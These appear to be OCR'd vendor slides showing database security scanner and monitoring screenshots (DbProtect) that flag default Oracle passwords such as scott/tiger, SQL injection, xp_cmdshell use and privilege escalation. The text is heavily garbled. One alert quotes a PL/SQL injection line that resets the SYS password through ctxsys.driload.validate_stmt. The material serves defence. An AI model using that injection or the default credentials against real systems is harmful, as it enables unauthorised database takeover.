CVE Reference # [sli=SelaSiEYESis] |
A default database password has not been changed. |
$ (a 1 H i L ) i+ limd ~F 1" -~ I b
< bl
— |
4 ¥ | Detals ylnerability Description | GfﬂDhSJ
Rizk Lewvel Yulherability IP Addreszs Fart Application Detai
Q High Default database pazzword 192168.3128 1521 Oracle10g Databaze [testing] [Uzer Mame=outln] [Fassword=outin)
Default database pazzword 192168.3128 1521  Oracle10g Databaze [testing] [Uzer Mame=pm] [Faszword=change
Default databasze password 1321683128 1521 Oracle10g Database [testing) [Uzer Mame=scott] [Password=tiger)
Default databaze password 192168.3128 1521 Oraclel0g Databaze [testing] [Uzer Mame=zh] [Fasswaord=change_
€23 High Default database password 1921683128 1521 Qraclel0g Databass [testing) [User Name=sl.informir:schema) (4
< >
Found 239 vulnerabilities. for the seszion [included 4 applh Audit Policy: Basze Line [Built-in) Pen Test Policy: Evaluation [Built-in]
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DbProtect AppDetective: Identifying Weak Passwords

Session Run Edit View Help
= @ | [ v b 65 iy
Mey Open  Discover  Policy Pen Test  Audit  Reports  Update  Schedule Fix
""" ik &
=l 192 168.2.128 [ORACLE10GR 2]
y oy e
2 Aﬂ Oraclel Oig Listener [1521] Title Frofile settings - Failed Login Attempts
- gh@ Oraclel0g Database [ORCL
agh
H 382007 5:19:36 PM e
H 4/8/2007 1:49:28 PM
@ Oracle E«ternal Procedure Ser CVE Reference # [o=hgen Lased
= ﬁ Oraclel0g Databaze [tezting]

H 382007 6:27:57 PM

|5 341872007 6:51:41 PM Description A profile has been found with the FAILED_LOGIN_ATTEMPTS
parameter not within the parameters set for the security policy.

Summany The FAILED _LOGIMN_ATTEMPTS parameter defines the number
of successive failed login attempts that can be performed before
an account's status is changed to locked. This protects against
attackers attempting to guess a password for an account. If this w
£ »
4 ¥ | Detal:  wylnerability Description | Graphs]

Rizk Lewvel Yulherability IP Address Fort Application ~
€2 High amma losddebaen LT EE 192168.3128 1521  Oraclel0g Database [testing) [User Mame=DIP) [Passward=
€3 High Diviege to execuie LITL_FILE gianted o 137 168.3128 1521 Oracle10g Database ftesting) [Ovner=5S] [Object Name=Ll

i Profile zettings - Failed Login &ttempts 1321683128 Craclel0g D atabaze [testing) [FProfile=tOMITORIMNG_FROFI
& kediurm Auditing nat enabled 192168.3128 1521 Oracle10g Databaze [testing] [AUDIT_TRAIL=MOME] Lv
4 >
Found 239 vulnerabilities. for the seszion [included 4 applh Audit Policy: Base Line [Built-in] Pen Test Policy: Exvaluation [Built-in)
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DbProtect AppRadar: Alerting on the Password Attack

APPLICATION
SECURlTY' INC. Username: xp-bbgyadministrator [Logout] (admin User)

Harme Alerts Dashboard Reports Paolicies Filters Sensors Sye

Alerts| archive |

Fefresh | Start ||10 sen(s) Last Updated: 4/27/07 12:44:45 PM EDT, updating every 0 sec(s).

Instance Fule Title LaginfUzer Marme Metwork User Saurce of Event Application

Iang,r j |an3,r j |an3,r j |an3,r j |an3,r j |an3,r

Search in QL Text

Displaying 10 of 3120 alerts

| 4

w Ai‘:;'t In:::i:r;ce Rule Titde Time Login /User Nane RlEkionks

User

[T 3z1zs z iqa;ksegf 50L injection in sp_MSdropret.., 4/27/07 12:43:02 PM EDT MP-BEChAdrinistrator  Adrinistrator
"t Backend . _ _
[ 3117 H s soL Genetic use of xp_crndshell 427007 12:43:03 PM EDT HP-BBOYADministrator Adrministrator
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DbProtect AppRadar: Alerting on Privilege Escalation

APPLICATION
SECURlTY' IC Username: huh2ka_s\administradur [Logout] (Admin User)

Home SEnsors alerts Policies Dashboard Filters Reports E-mail

Alerts ] Archive I

Refrash | Start ||1O sec(s) Last Updated: 2/20/07 01:04:44 PM GMT-03:00, updating every 0 sec(s).

Instance Rule Title LoginfUser Name Metwork User Source of Event Application Risk Count
|any = |any = |an3,r = |an3,r = any = |any = |any = |6 Iv

Search in SQL Taxt

Hide A

| Apply
Dizplaving & of 294 alers
w A;?;t Instance Alias Rule Tide Time Login /User Name Nel::::::.rk Source of Ewvent
294 éa' GI101R_192,168.0.230 Accezs usernamesz from the ALL., 2/20/07 01:04:32 PM GMT-., scott Robert EMTPRISE\bOb
29 .;;EE' GI101R_192,168.0.230 Accezs usernames from the DBA., 2/20/07 01:01:49 PM GMT-., scott Robert EMTPRISE\bOb
I_ 201 {;ﬁ} GI101R_192.1658.0.230 Access usernames from the DRA... 2/20/07 01:01:39 PM GMT-... scott Robert EMTPRISE\bob
290 ,;ﬂ' GI101R_192.1658.0.230 fAiccess passwords from the DBAL 2/20/07 01:01:39 PM GMT-., scott Robert EMTPRISE\bohb

\_ e ssnoviedzes

| archive Selected alets | Archive All Alerts | Acknowledge Selected Alerts | Acknowledge All Alerts |

@ 2006, Application Security, Inc All Rights Reserved
wer: 3,.0.36
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AppRadar: Alerting on Privilege Escalation

APPLICATION
SECURITY, INC.

Archive | Acknowledge Create Exception

Alert ID: Pk

D?I_tvaI:Jase Oracle (Metwork-based Sensor)

Instance
GIlD 1R_192,168.0.230

U R Hl Possible abuse of DRILOAD VALIDATE_STMT procedure

R =/20/07 01:04:10 PM GMT-D3:0 0

CWE-MO-MATCH

Possible abuse of DRILOAD WALIDATE_STMT procedure was detected

The WAl IDATE_STMT stored procedure of the DRILOAD package can be abused to execute arbitrary SQL. A low privileged attacker can abuse it to gain elevated privileges.

Oracle contains a large number of built-in packages and stored procedures. The WALIDATE_STMT procedure of the DRILOAD package is vulnerable to PL/SQL injectian.
The vulnerability can be exploited by simply putting the SOQL statement in the only parameter of the procedure. For example:
exec ckxsys.driload.validate_stmt("alter user sys identified by mypass');

CTXSYS - a DBA.

further alerts.

[aITIRNTIN M The nackage is owned by the user CTXSYS. Since the procedures are not defined with the "AUTHID CURRENT USER' option, the injected SQL is executed under the privileges of

MNote: This rule monitors for any execution of the CTXSYS VALIDATE_STMT procedure. If the execution was autharized or if you have a patched version, create a filker to stap seeing

Yersions
Affected

COracle 9i and 8i

Oracle's patching process is now based on cumulative Critical Patch Updates (CPU) released on a guarterly basis. Rather than applying old patches for vulnerabilities, it is
recommended that you install only the latest CPU patches. The CPU patches are cumulative in nature and contain fixes for all previous vulnerakilities.

please refer to the patch availability matriz at http: ffmetalink.oracle.com/metalink/plsglfshowdoc?db=MN0T2id=251129.1
The issue affects only Oracle 9i and 2i. Oracle 10g is not affected. Patches are available for:

COracle 8i version 8.1.7.4

Oracle 9i Release version 9.0.1.4 and 9.0.1.5

COracle 9i Release version 9.2.0.4 and 9.2.0.5

Fix
Information

Patches can be downloaded from Oracle Waorldwide Support Services web site Metalink (http:/fmetalink.oracle.com).

The issue can be fixed by applying an appropriate patch from the patches released for Security Alert 62 ar any later CPU. To determing the specific patch needed for your versian

=

|List0 l_ l_ l_ l_ I_ l_ |® Internet

H100% v g
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Summary

= |dentify and understand database threats and
attack vectors

= Eliminate risks with proper configuration,
permissioning, and patching

= Regularly scan your databases for
vulnerabillities

= |Implement database auditing / monitoring to
catch and alert on attacks as they occur

= Build a plan for what to do in case of a breach
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Questions?

Thank you

= Questions on
= \/ulnerabilities

mail us at:
info@appsecinc.com
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